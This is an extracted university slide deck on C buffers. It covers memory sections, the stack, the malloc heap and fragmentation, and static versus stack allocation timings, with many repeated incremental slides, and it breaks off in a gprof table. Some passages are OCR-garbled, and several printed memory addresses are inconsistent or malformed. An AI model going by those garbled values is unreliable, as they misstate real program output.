Working with Buffers
Seminar Efficient Programming in C

Christoph Brauer

Scientific Computing Research Group
University Hamburg

December 6, 2012
# Table of Contents

1. Preface
2. Introduction to C buffers and storage variants
3. Runtime allocation efficiency
4. Security concerns
5. Literature
6. Discussion
Environment used for examples
Environment used for examples

- Linux running on amd64 architecture
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ... )
Environment used for examples
- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
  - Not ANSI C but gcc’s ISO C99 dialect
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
  - Not ANSI C but gcc’s ISO C99 dialect
  - default -00
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
  - Not ANSI C but gcc’s ISO C99 dialect
  - default -00

Examples themselves are
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
  - Not ANSI C but gcc’s ISO C99 dialect
  - default -00

Examples themselves are

- really working
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
  - Not ANSI C but gcc’s ISO C99 dialect
  - default -O0

Examples themselves are

- really working
- available ...
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
  - Not ANSI C but gcc’s ISO C99 dialect
  - default -O0

Examples themselves are

- really working
- available ...
  - as a hardcopy, should lie just in front of you
Environment used for examples

- Linux running on amd64 architecture
  - Data is stored in little-endian format
  - CPU registers and pointers are 64 bits
- gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
  - Not ANSI C but gcc’s ISO C99 dialect
  - default -00

Examples themselves are

- really working
- available ...
  - as a hardcopy, should lie just in front of you
  - for download, use these for your own experiments
Environment used for examples
  - Linux running on amd64 architecture
    - Data is stored in little-endian format
    - CPU registers and pointers are 64 bits
  - gcc 4.7 with recent binutils (as, ld, gas, objdump ...)
    - Not ANSI C but gcc’s ISO C99 dialect
    - default -O0
Examples themselves are
  - really working
  - available ...
    - as a hardcopy, should lie just in front of you
    - for download, use these for your own experiments
Please ask me just inbetween!
Introduction to C buffers and storage variants
What is a C buffer?
What is a C buffer?

A C buffer is ...
Introduction to C buffers and storage variants

What is a C buffer?

A C buffer is ...

- a continuous area of general computer memory ...
What is a C buffer?
A C buffer is...
  - a continuous area of general computer memory...
    - that is assigned data of the same type
What is a C buffer?

A C buffer is ...

- a continuous area of general computer memory ...
  - that is assigned data of the same type
  - and allocated using the C programming language
What is a C buffer?

A C buffer is ...

- a continuous area of general computer memory ...
  - that is assigned data of the same type
  - and allocated using the C programming language

```c
typedef unsigned long long int uint64_t;

int main ( void )
{
    char bufPtr1[32] = "Jay Miner";
    char *bufPtr2 = "Jack Tramiel";
    uint64_t *bufPtr3 = malloc ( 16 * sizeof ( uint64_t ) );
    int bufPtr4[4] = { 0x1234, 0x4567, 0xdead, 0xbeef };
    return ( 0 );
}
```
INTRODUCTION TO C BUFFERS AND STORAGE VARIANTS

One simple buffer

```c
int main ( void )
{
    char *myBufferPtr = "Greetings, Professor Falken.\n" ;
    printf ( "%s", myBufferPtr ) ;
    return ( 0 ) ;
}
```

PROGRAM OUTPUT

Greetings, Professor Falken.

NOTHING REALLY GOING ON HERE?
**One simple buffer**

```c
int main ( void )
{
    char *myBufferPtr = "Greetings, Professor Falken.\n";
    printf ( "%s", myBufferPtr ) ;
    return ( 0 ) ;
}
```

**Program output**

Greetings, Professor Falken.
int main ( void )
{
    char *myBufferPtr = "Greetings, Professor Falken.\n" ;
    printf ( "%s", myBufferPtr ) ;
    return ( 0 ) ;
}

Nothing really going on here?
# Introduction to C buffers and storage variants

## One simple verbose buffer

```c
int main ( void )
{
    char *myBufferPtr = "Greetings, Professor Falken.\n" ;

    printf ("Address of myBufferPtr : %016p\n", &myBufferPtr ) ;
    printf ("Content of myBufferPtr : %016p\n", myBufferPtr ) ;
    printf ("Size of myBufferPtr : %d\n", sizeof (myBufferPtr) ) ;
    printf ("Size of buffer : %d\n", strlen ( myBufferPtr ) + 1 ) ;
    printf ("Content of buffer : %s\n", myBufferPtr ) ;
    return ( 0 ) ;
}
```
int main ( void )
{
    char *myBufferPtr = "Greetings, Professor Falken.\n";

    printf ("Address of myBufferPtr : %016p\n", &myBufferPtr ) ;
    printf ("Content of myBufferPtr : %016p\n", myBufferPtr ) ;
    printf ("Size of myBufferPtr : %d\n", sizeof(myBufferPtr) ) ;
    printf ("Size of buffer : %d\n", strlen ( myBufferPtr ) + 1 ) ;
    printf ("Content of buffer : %s\n", myBufferPtr ) ;
    return ( 0 ) ;
}
Program output

Address of myBufferPtr : 0x00007fffffffe228
Content of myBufferPtr : 0x000000000000400690
Size of myBufferPtr : 8
Size of buffer : 30
Content of buffer : Greetings, Professor Falken.
Program output

Address of myBufferPtr : 0x00007fffffffefe228
Content of myBufferPtr : 0x00000000000400690
Size of myBufferPtr : 8
Size of buffer : 30
Content of buffer : Greetings, Professor Falken.

myBufferPtr and the actual buffer illustrated
**myBufferPtr and the actual buffer illustrated**

<table>
<thead>
<tr>
<th>myBufferPtr</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0x23</td>
<td>0xFF</td>
</tr>
<tr>
<td>0x00</td>
<td>0x90</td>
</tr>
<tr>
<td>0x06</td>
<td>0x40</td>
</tr>
<tr>
<td>0x00</td>
<td>0x00</td>
</tr>
<tr>
<td>0x00</td>
<td>0x00</td>
</tr>
<tr>
<td>0x00</td>
<td>0x00</td>
</tr>
<tr>
<td>0x00</td>
<td>0x52</td>
</tr>
<tr>
<td>0x7C</td>
<td></td>
</tr>
</tbody>
</table>

0x0000 7fff ffff e226 ...27 ...28 ...29 ...2A ...2B ...2C ...2D ...2E ...2F ...30 0x0000 7fff ffff e231

0x0000 0000 0040 0690

Buffer

<table>
<thead>
<tr>
<th>0x20</th>
<th>0x20</th>
</tr>
</thead>
<tbody>
<tr>
<td>'G'</td>
<td>'r'</td>
</tr>
<tr>
<td>'e'</td>
<td>'e'</td>
</tr>
<tr>
<td>'t'</td>
<td>'i'</td>
</tr>
<tr>
<td>'n'</td>
<td>'g'</td>
</tr>
<tr>
<td>'s'</td>
<td></td>
</tr>
</tbody>
</table>

0x0040 068E ...8F ...90 ...91 ...92 ...93 ...94 ...95 ...96 ...97 0x0040 0698
myBufferPtr and the actual buffer illustrated

- The pointer is a variable that contains the address of the lowest byte occupied by the buffer
The pointer is a variable that contains the address of the lowest byte occupied by the buffer

The buffer forms a compound area in memory
The pointer is a variable that contains the address of the lowest byte occupied by the buffer.

The buffer forms a compound area in memory.

Buffers and pointers are two very different things, though it's fairly easy to mix them up.
Various different buffers

```
static const char staticConstBuffer[32] = "Hello, Dave.";
s static char staticEmptyBuffer[32];
s static char staticPresetBuffer[32] = "Hello, Dave.";
char stackBuffer[32] = "Hello, Dave.";
char *constBuffer = "Hello, Dave";
char *heapBuffer = (char*) malloc ( 32 );
strcpy ( staticEmptyBuffer, "Hello, Dave." );
strcpy ( heapBuffer, "Hello, Dave." );
```
Introduction to C buffers and storage variants

Various buffers

```c
static const char staticConstBuffer[32] = "Hello, Dave.";
static char staticEmptyBuffer[32];
static char staticPresetBuffer[32] = "Hello, Dave.";
char stackBuffer[32] = "Hello, Dave.";
char *constBuffer = "Hello, Dave";
char *heapBuffer = (char*) malloc ( 32 );
strcpy ( staticEmptyBuffer, "Hello, Dave." );
strcpy ( heapBuffer, "Hello, Dave." );
```

Program output (simply all pointers printed)

Address of staticConstBuffer : 0x00000000004008c0
Address of staticEmptyBuffer : 0x0000000000600c60
Address of staticPresetBuffer : 0x0000000000600c20
Address of stackBuffer : 0x00007fffffffffe1f0
Address of constBuffer : 0x00000000004007a0
Address of heapBuffer : 0x0000000000601010
### Program output (simply all pointers printed)

<table>
<thead>
<tr>
<th>Buffer Type</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>staticConstBuffer</td>
<td>0x0000000000004008c0</td>
</tr>
<tr>
<td>staticEmptyBuffer</td>
<td>0x000000000000600c60</td>
</tr>
<tr>
<td>staticPresetBuffer</td>
<td>0x000000000000600c20</td>
</tr>
<tr>
<td>stackBuffer</td>
<td>0x00007fffffffefef1f0</td>
</tr>
<tr>
<td>constBuffer</td>
<td>0x0000000000004007a0</td>
</tr>
<tr>
<td>heapBuffer</td>
<td>0x000000000000601010</td>
</tr>
</tbody>
</table>

Some buffers are relocated at the "bottom" of the memory and just several bytes away from each other... Some others are at the "top" of the memory and "distanced" several terabytes. Could it probably be that buffers with similar characteristics are allocated in the very same memory area? Or even the other way round: the memory areas, in which buffers are allocated, determine their characteristics?
Program output (simply all pointers printed)

<table>
<thead>
<tr>
<th>Buffer Name</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>staticConstBuffer</td>
<td>0x000000000004008c0</td>
</tr>
<tr>
<td>staticEmptyBuffer</td>
<td>0x00000000000600c60</td>
</tr>
<tr>
<td>staticPresetBuffer</td>
<td>0x00000000000600c20</td>
</tr>
<tr>
<td>stackBuffer</td>
<td>0x00007fffffffe1f0</td>
</tr>
<tr>
<td>constBuffer</td>
<td>0x000000000004007a0</td>
</tr>
<tr>
<td>heapBuffer</td>
<td>0x00000000000601010</td>
</tr>
</tbody>
</table>

Some buffers are located at the “bottom” of the memory and just several bytes “away” from each other...
<table>
<thead>
<tr>
<th>Buffer Type</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>staticConstBuffer</td>
<td>0x0000000000004008c0</td>
</tr>
<tr>
<td>staticEmptyBuffer</td>
<td>0x000000000000600c60</td>
</tr>
<tr>
<td>staticPresetBuffer</td>
<td>0x000000000000600c20</td>
</tr>
<tr>
<td>stackBuffer</td>
<td>0x00007fffffffe1f0</td>
</tr>
<tr>
<td>constBuffer</td>
<td>0x0000000000004007a0</td>
</tr>
<tr>
<td>heapBuffer</td>
<td>0x00000000000601010</td>
</tr>
</tbody>
</table>

- Some buffers are located at the "bottom" of the memory and just several bytes "away" from each other ...
- ... some others are at the "top" of the memory and "distanced" several terabytes
Some buffers are located at the "bottom" of the memory and just several bytes "away" from each other ...

... some others are at the "top" of the memory and "distanced" several terabytes

Could it probably be that ...
Program output (simply all pointers printed)

Address of staticConstBuffer : 0x000000000000004008c0
Address of staticEmptyBuffer : 0x00000000000000600c60
Address of staticPresetBuffer : 0x00000000000000600c20
Address of stackBuffer : 0x00007fffffffef0
Address of constBuffer : 0x000000000000004007a0
Address of heapBuffer : 0x00000000000000601010

- Some buffers are located at the “bottom” of the memory and just several bytes “away” from each other ...
- ... some others are at the “top” of the memory and “distanced” several terabytes
- Could it probably be that ...
  - buffers with similar characteristics are allocated in the very same memory area?
Some buffers are located at the "bottom" of the memory and just several bytes "away" from each other ...

... some others are at the "top" of the memory and "distanced" several terabytes

Could it probably be that ...

- buffers with similar characteristics are allocated in the very same memory area?
- or even the other way round: the memory areas, in which buffers are allocated, determine their characteristics?
The Linux virtual process address spaces

Physical Memory

Fixed-size pages

Virtual Memory of Process A

Virtual Memory of Process B

Kernel Space
Stack section
Shared Libraries
Heap section
Data section
Text section
reserved
How can we find out which sections our program uses and where those are located in virtual memory?
How can we find out which sections our program uses and where those are located in virtual memory?

There is a pmap command to display the current memory map of a running process (Linux, Net/Open/FreeBSD, SunOS ... )
How can we find out which sections our program uses and where those are located in virtual memory?

There is a `pmap` command to display the current memory map of a running process (Linux, Net/Open/FreeBSD, SunOS ... )

---

**Output of the `pmap` command**

```
$ pmap 'pgrep variousbuffers'
4937: ./variousbuffers.elf
0000000000400000 4K r-x-- /home/krusty/code/variousbuffers.elf
0000000000600000 4K rw--- /home/krusty/code/variousbuffers.elf
000000000601000 132K rw--- [ anon ]
00007ffffffa6000 1524K r-x-- /lib/x86_64-linux-gnu/libc-2.13.so
00007ffffff7f7000 16K rw--- [ anon ]
00007ffffff7fbb000 4K r-x-- [ anon ]
00007ffffff7fccc000 4K r---- /lib/x86_64-linux-gnu/ld-2.13.so
00007ffffff7ffd000 4K rw--- /lib/x86_64-linux-gnu/ld-2.13.so
00007ffffff7ffe000 4K rw--- [ anon ]
00007ffffffffde000 132K rw--- [ stack ]
fffffffffffffff600000 4K r-x-- [ anon ]
```
The Linux virtual process address spaces

- **stackBuffer**: 0x0000 7fff ffff e1f0
- **heapBuffer**: 0x0000 0000 0060 1010
- **staticPresetBuffer**: 0x0000 0000 0060 0c20
- **staticEmptyBuffer**: 0x0000 0000 0060 0c60
- **staticConstBuffer**: 0x0000 0000 0040 08c0
- **constBuffer**: 0x0000 0000 0040 07a0

---

**Kernel Space**

- **Stack (rw-)**: 0x0000 7fff ffff f000
  - **stackBuffer**
  - **heapBuffer**

**Shared Libraries**

- **Heap (rw-)**: 0x0000 2aaa ab04 f000
  - **staticPresetBuffer**
  - **staticEmptyBuffer**
  - **staticConstBuffer**
  - **constBuffer**

**Data Section (rw-)**

- **reserved**

**Text Section (r-x)**

- **reserved**
Introduction to C buffers and storage variants

Section properties

Address space

- **Kernel Space**
  - Stack (rw-)
    - stackBuffer
  - Shared Libraries
  - Heap (rw-)
    - heapBuffer
- **Data Section** (rw-)
  - staticPresetBuffer
  - staticEmptyBuffer
- **Text Section** (r-x)
  - staticConstBuffer
  - constBuffer
- **Reserved**
Sections are assigned access privileges
- Sections are assigned access privileges
- The text sections contain executable code and constants

**Address space**

<table>
<thead>
<tr>
<th>Kernel Space</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stack ( rw- )</td>
</tr>
<tr>
<td>stackBuffer</td>
</tr>
<tr>
<td>Shared Libraries</td>
</tr>
<tr>
<td>Heap ( rw- )</td>
</tr>
<tr>
<td>heapBuffer</td>
</tr>
<tr>
<td>Data Section ( rw- )</td>
</tr>
<tr>
<td>staticPresetBuffer</td>
</tr>
<tr>
<td>staticEmptyBuffer</td>
</tr>
<tr>
<td>Text Section ( r-x )</td>
</tr>
<tr>
<td>staticConstBuffer</td>
</tr>
<tr>
<td>constBuffer</td>
</tr>
<tr>
<td>reserved</td>
</tr>
</tbody>
</table>
Sections are assigned access privileges

The text sections contain executable code and constants

The data sections contain static variables
- Sections are assigned access privileges
- The text sections contain executable code and constants
- The data sections contain static variables
- Both section ...

Address space

<table>
<thead>
<tr>
<th>Section</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kernel Space</td>
<td></td>
</tr>
<tr>
<td>Stack (rw-)</td>
<td></td>
</tr>
<tr>
<td>heapBuffer</td>
<td></td>
</tr>
<tr>
<td>Shared Libraries</td>
<td></td>
</tr>
<tr>
<td>Data Section (rw-)</td>
<td></td>
</tr>
<tr>
<td>staticPresetBuffer</td>
<td></td>
</tr>
<tr>
<td>staticConstBuffer</td>
<td></td>
</tr>
<tr>
<td>staticEmptyBuffer</td>
<td></td>
</tr>
<tr>
<td>Text Section (r-x)</td>
<td></td>
</tr>
<tr>
<td>constBuffer</td>
<td></td>
</tr>
<tr>
<td>reserved</td>
<td></td>
</tr>
</tbody>
</table>
Sections are assigned access privileges

- The text sections contains executable code and constants
- The data sections contains static variables
- Both section ...
  - have a fixed size and a fixed layout that is determined before any line of your code is run
Sections are assigned access privileges

The text sections contains executable code and constants

The data sections contains static variables

Both section ...

- have a fixed size and a fixed layout that is determined before any line of your code is run
- thus they do not require any runtime management
Sections are assigned access privileges

The text sections contains executable code and constants

The data sections contains static variables

Both section ...

- have a fixed size and a fixed layout that is determined before any line of your code is run
- thus they do not require any runtime management

Stack and heap sections

Address space
Sections are assigned access privileges
The text sections contain executable code and constants
The data sections contain static variables
Both section ...
- have a fixed size and a fixed layout that is determined before any line of your code is run
- thus they do not require any runtime management
Stack and heap sections
- do not contain pre-initialized data
Sections are assigned access privileges

The text sections contains executable code and constants

The data sections contains static variables

Both section ...

- have a fixed size and a fixed layout that is determined before any line of your code is run
- thus they do not require any runtime management

Stack and heap sections

- do not contain pre-initialized data
- have a starting size which can (and most probably will) be resized during program execution
- Sections are assigned access privileges
- The text sections contains executable code and constants
- The data sections contains static variables
- Both section ...
  - have a fixed size and a fixed layout that is determined before any line of your code is run
  - thus they do not require any runtime management
- Stack and heap sections
  - do not contain pre-initialized data
  - have a starting size which can (and most probably will) be resized during program execution
  - thus they do require runtime management

### Address space

<table>
<thead>
<tr>
<th>Section</th>
<th>Permissions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kernel Space</td>
<td></td>
</tr>
<tr>
<td>Stack (rw-)</td>
<td></td>
</tr>
<tr>
<td>Stack Buffer</td>
<td></td>
</tr>
<tr>
<td>Shared Libraries</td>
<td></td>
</tr>
<tr>
<td>Heap (rw-)</td>
<td></td>
</tr>
<tr>
<td>Heap Buffer</td>
<td></td>
</tr>
<tr>
<td>Text Section (rw-)</td>
<td></td>
</tr>
<tr>
<td>Text Section Buffer</td>
<td></td>
</tr>
<tr>
<td>Data Section (rw-)</td>
<td></td>
</tr>
<tr>
<td>Data Section Buffer</td>
<td></td>
</tr>
<tr>
<td>staticPresetBuffer</td>
<td></td>
</tr>
<tr>
<td>staticEmptyBuffer</td>
<td></td>
</tr>
<tr>
<td>staticConstBuffer</td>
<td></td>
</tr>
<tr>
<td>constBuffer</td>
<td></td>
</tr>
<tr>
<td>reserved</td>
<td></td>
</tr>
</tbody>
</table>
Runtime allocation efficiency
Static allocations are only performed once during program initialization
Static allocations are only performed once during program initialization
Thus they can not appear in any loops and are not in the scope of efficiency issues anyway
Static allocations are only performed once during program initialization.
Thus they cannot appear in any loops and are not in the scope of efficiency issues anyway.
So in the upcoming section we will focus on...
Static allocations are only performed once during program initialization.
Thus they cannot appear in any loops and are not in the scope of efficiency issues anyway.

So in the upcoming section we will focus on
- Stack allocations
Static allocations are only performed once during program initialization.
Thus they can not appear in any loops and are not in the scope of efficiency issues anyway.
So in the upcoming section we will focus on:
- Stack allocations
- Heap allocations
The Stack

Example 256 byte stack of a 16 bit machine

STACK IS ORGANIZED AS A (, AS A TOP-}

IF/QUEUE GROWING FROM HIGH TO LOW ADDRESSES—OFTEN USED AS A GENERAL TEMPORARY DATA STORAGE

FUNCTION RETURN ADDRESSES

LOCAL VARIABLES (SOMETIMES) FUNCTION ARGUMENTS

STACK POINTER (SP) DENOTES CURRENT STACK POSITION

SP IS ALMOST ALWAYS A REGISTER, ON

IT IS RSP / SIX. OS / FOUR. OS

CPUS DO PUSH ELEMENTS BY

DECREMENTING THE SP / UNI FB01

RST AND STORING THE VALUE AFTERWARDS

% EXAMPLE / TWO. OS / FIVE. OS / SIX. OS

BYTES STACK OF A BIT MACHINE

/ ONE. OS / SIX. OS

/ ONE. OS / FOUR. OS

/ ONE. OS / FIVE. OS / THREE. OS
Stack is organized as a (Last In - First Out) LIFO queue.
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses

**Example 256 byte stack of a 16 bit machine**

- Stack pointer (SP)
- Stack top
- 1st word 0xFE
- 2nd word 0xFC
- 3rd word 0xFA
- 128th word 0x0

Growing direction
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses
- Most often used as a general temporary data storage

Example 256 byte stack of a 16 bit machine

- Stack pointer (SP)
- 1st word: 0xFE
- 2nd word: 0xFC
- 3rd word: 0xFA
- 128th word: 0x0

Push and Pop operations move elements along the stack.
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses
- Most often used as a general temporary data storage
  - function return addresses

**Example 256 byte stack of a 16 bit machine**

- Stack top
- 1st word: 0xFE
- 2nd word: 0xFC
- 3rd word: 0xFA
- 128th word: 0x0

- Growing direction
- Stack pointer (SP)
- pop
- push
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses
- Most often used as a general temporary data storage
  - function return addresses
  - local variables

**Example 256 byte stack of a 16 bit machine**

- Stack top
  - 1st word: 0xFE
  - 2nd word: 0xFC
  - 3rd word: 0xFA
  - 128th word: 0x0

- Stack pointer (SP) grows from high to low addresses.
- Push: Adds elements by decrementing the stack pointer.
- Pop: Removes elements from the stack by incrementing the stack pointer.

Growing direction:
- 0xFE → 0xFC → 0xFA → 0x0 → ... → Stack bottom
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses
- Most often used as a general temporary data storage
  - function return addresses
  - local variables
  - (sometimes) function arguments

### Example 256 byte stack of a 16 bit machine

![Stack Diagram]

- **Stack top**
  - 1st word
  - 2nd word
  - 3rd word
  - ... (128th word)

- **Stack pointer (SP)**: Pushes elements by decrementing the SP and storing the value afterwards.

- **Growing direction**: From high to low addresses.
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses
- Most often used as a general temporary data storage
  - function return addresses
  - local variables
  - (sometimes) function arguments
- Stackpointer (SP) denotes current stack position

Example 256 byte stack of a 16 bit machine
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses
- Most often used as a general temporary data storage
  - function return addresses
  - local variables
  - (sometimes) function arguments
- Stack pointer (SP) denotes current stack position
- SP is almost always a CPU register, on AMD64 it is RSP

**Example 256 byte stack of a 16 bit machine**

![Stack Diagram]

- Stack top
- 1st word: 0xFE
- 2nd word: 0xFC
- 3rd word: 0xFA
- 128th word: 0x0

Growing direction:
- push
- pop
- Stack is organized as a (Last In - First Out) LIFO queue
- Growing from high to low addresses
- Most often used as a general temporary data storage
  - function return addresses
  - local variables
  - (sometimes) function arguments
- Stack pointer (SP) denotes current stack position
- SP is almost always a CPU register, on AMD64 it is RSP
- x86 CPUs do push elements by decrementing the SP first and storing the value afterwards
Small stack example

```c
void secondFunction ( void )
{
    char secondBuffer[] = "Crunch";
}

void firstFunction ( void )
{
    char firstBuffer[] = "Captain";
    secondFunction ();
    // return point to firstFunction
}

int main ( void )
{
    firstFunction ();
    // return point to main function
    return ( 0 );
}
```
### Small stack example

```c
void secondFunction ( void )
{
    char secondBuffer[] = "Crunch";
}

void firstFunction ( void )
{
    char firstBuffer[] = "Captain";
    secondFunction () ;
    // return point to firstFunction
}

int main ( void )
{
    firstFunction () ;
    // return point to main function
    return ( 0 ) ;
}
```

### Stackframe

```
0x0000000000400e9  return address of main
0x0000000000000000  saved base pointer
0x0000000002003a0   padding junk
0x006e696174706143 "Captain"
0x0000000000000000  return address of firstfunction
0x0000000000000000  saved base pointer
0x0000000000000000  padding junk
0x0000068636e757243 "Crunch"
```
Stack allocation requires few resources for
Stack allocation requires few resources for
  - the current function simply claims all the stack space from the current stack pointer to the stack bottom
Stack allocation requires few resources for

- the current function simply claims all the stack space from the current stack pointer to the stack bottom
- local stack data is simply written consecutively
- Stack allocation requires few resources for
  - the current function simply claims all the stack space from the current stack pointer to the stack bottom
  - local stack data is simply written consecutively
  - allocation is really nothing but altering a pointer
Stack allocation requires few resources for
- the current function simply claims all the stackspace from the current stackpointer to the stack bottom
- local stack data is simply written consecutively
- allocation is really nothing but altering a pointer

The major drawback of stack allocation is the limited lifespan of the stack data
Stack allocation requires few resources for
- the current function simply claims all the stackspace from the current stackpointer to the stack bottom
- local stack data is simply written consecutively
- allocation is really nothing but altering a pointer

The major drawback of stack allocation is the limited lifespan of the stack data

For instance, let A and B be functions such that function A calls function B
Stack allocation requires few resources for
- the current function simply claims all the stackspace from the current stackpointer to the stack bottom
- local stack data is simply written consecutively
- allocation is really nothing but altering a pointer

The major drawback of stack allocation is the limited lifespan of the stack data

For instance, let A and B be functions such that function A calls function B
- A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B
Stack allocation requires few resources for:
- the current function simply claims all the stackspace from the current stackpointer to the stack bottom
- local stack data is simply written consecutively
- allocation is really nothing but altering a pointer

The major drawback of stack allocation is the limited lifespan of the stack data.

For instance, let A and B be functions such that function A calls function B:
- A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B
- B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simply overwritten by subsequent function calls of A
Unlike the stack, there is no such thing as a shared "heap pointer"
Unlike the stack, there is no such thing as a shared "heap pointer"

So the heap is just one big bunch of memory
Unlike the stack, there is no such thing as a shared "heap pointer"

- So the heap is just one big bunch of memory

- Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself
- Unlike the stack, there is no such thing as a shared "heap pointer"
  - So the heap is just one big bunch of memory
- Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself
  - Heap management is a shared task of OS and userspace functions
- Unlike the stack, there is no such thing as a shared “heap pointer”
  - So the heap is just one big bunch of memory
- Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself
  - Heap management is a shared task of OS and userspace functions
- Traditionally, heap memory allocation is done by malloc, which is part of libc
Unlike the stack, there is no such thing as a shared "heap pointer"
- So the heap is just one big bunch of memory
- Resizing the heap section is done by the OS, though management of data structure allocation on the heap is done by the executing program itself
- Heap management is a shared task of OS and userspace functions
- Traditionally, heap memory allocation is done by malloc, which is part of libc
- If you are not happy with malloc, simply write your own!
Heap ( malloc )

Heap ( 4096 bytes )

- Start of heap section
- Pointer to previous header
- Size and status (free / used)
- Pointer to next header
- Header / chunk, 24 bytes
- Memory bin
- 4072b free memory

- Prev
- 4072
- Free
- Next

Runtime allocation efficiency

The Heap
Heap (malloc)

```c
char *firstPtr = malloc(2048);
```

```
prev  2048  used  next  2048 bytes alloc'd
```

```
prev  2000  free  next  2000b free memory
```

```
*firstPtr
```

```c
char *secondPtr = malloc(512);
```

```
prev  2048  used  next  2048 bytes alloc'd
```

```
prev  512  used  next  512 bytes alloc'd
```

```
prev  1464  free  next  1464b free
```

```
*firstPtr
*secondPtr
```
Heap (malloc)

```c
free (firstPtr);
```

![Diagram of heap allocation and deallocation]

**What happens if we want to allocate another three.os/zero.os/seven.os/two.os bytes?**

We actually have enough space in sum, though we can’t allocate one compound block/two.os/zero.os/five.os/three.os.
What happens if we want to allocate another 3072 bytes?
What happens if we want to allocate another 3072 bytes?

We actually have enough space in sum, though we can’t allocate one compound block.
Heap (malloc) - Fragmentation and Resizing

char *thirdPtr = malloc ( 3072 );
If you want to see malloc in action requesting OS memory, try the "strace" program and watch for execution of brk / mmap functions.
- If you want to see malloc in action requesting OS memory, try the “strace” program and watch for execution of brk / mmap functions
- Allocated data has no lifetime restrictions
If you want to see malloc in action requesting OS memory, try the “strace” program and watch for execution of brk / mmap functions

Allocated data has no lifetime restrictions

Allocation process suffers efficiency issues in terms of...
- If you want to see malloc in action requesting OS memory, try the “strace” program and watch for execution of brk / mmap functions.
- Allocated data has no lifetime restrictions.
- Allocation process suffers efficiency issues in terms of speed for maintaining a doubly linked list.
- If you want to see malloc in action requesting OS memory, try the "strace" program and watch for execution of brk / mmap functions
- Allocated data has no lifetime restrictions
- Allocation process suffers efficiency issues in terms of
  - speed for maintaining a doubly linked list
  - size due to fragmentation and extra management chunks added to the heap
Now that we have an idea about how several allocation mechanism might perform, let’s see if reality proves it right
# define NUMLOOPS (1000*1000*1000*2)
#define MYSTRING "Hello, I am a string, actually I am not that horrible long though I can cause some serious performance impact."

void fillBufferFromStack ( char *destBuffer )
{ char myStackBuffer[] = MYSTRING ;
  strcpy ( destBuffer, myStackBuffer ) ; }

void fillBufferFromStatic ( char *destBuffer )
{ static char myStaticBuffer[] = MYSTRING ;
  strcpy ( destBuffer, myStaticBuffer ) ; }

int main ( void )
{
  static char destBuffer[512] ;
  for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ )
    fillBufferFromStack ( destBuffer ) ;
  for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ )
    fillBufferFromStatic ( destBuffer ) ;
  return ( 0 ) ;
}
# define NUMLOOPS (1000*1000*1000*2)
# define MYSTRING "Hello, I am a string, actually I am not that horrible long though I can cause some serious performance impact."

void fillBufferFromStack ( char * destBuffer )
{
    char myStackBuffer[] = MYSTRING ;
    strcpy ( destBuffer, myStackBuffer ) ;
}

void fillBufferFromStatic ( char * destBuffer )
{
    static char myStaticBuffer[] = MYSTRING ;
    strcpy ( destBuffer, myStaticBuffer ) ;
}
# Static vs. Stack

```c
#define NUMLOOPS (1000*1000*1000*2)
#define MYSTRING  "Hello, I am a string, actually I am not that horrible long though I can cause some serious performance impact."

void fillBufferFromStack ( char *destBuffer )
{
    char myStackBuffer[] = MYSTRING ;
    strcpy ( destBuffer, myStackBuffer ) ;
}

void fillBufferFromStatic ( char *destBuffer )
{
    static char myStaticBuffer[] = MYSTRING ;
    strcpy ( destBuffer, myStaticBuffer ) ;
}
```

## gprof results

<table>
<thead>
<tr>
<th>%</th>
<th>cumulative</th>
<th>self</th>
<th>self</th>
<th>total</th>
<th></th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>time</td>
<td>seconds</td>
<td>seconds</td>
<td>calls</td>
<td>ns/call</td>
<td>ns/call</td>
</tr>
<tr>
<td>76.11</td>
<td>29.42</td>
<td>29.42</td>
<td>20000000000</td>
<td>14.71</td>
<td>14.71</td>
<td>fillBufferFromStack</td>
</tr>
<tr>
<td>11.05</td>
<td>33.69</td>
<td>4.27</td>
<td>20000000000</td>
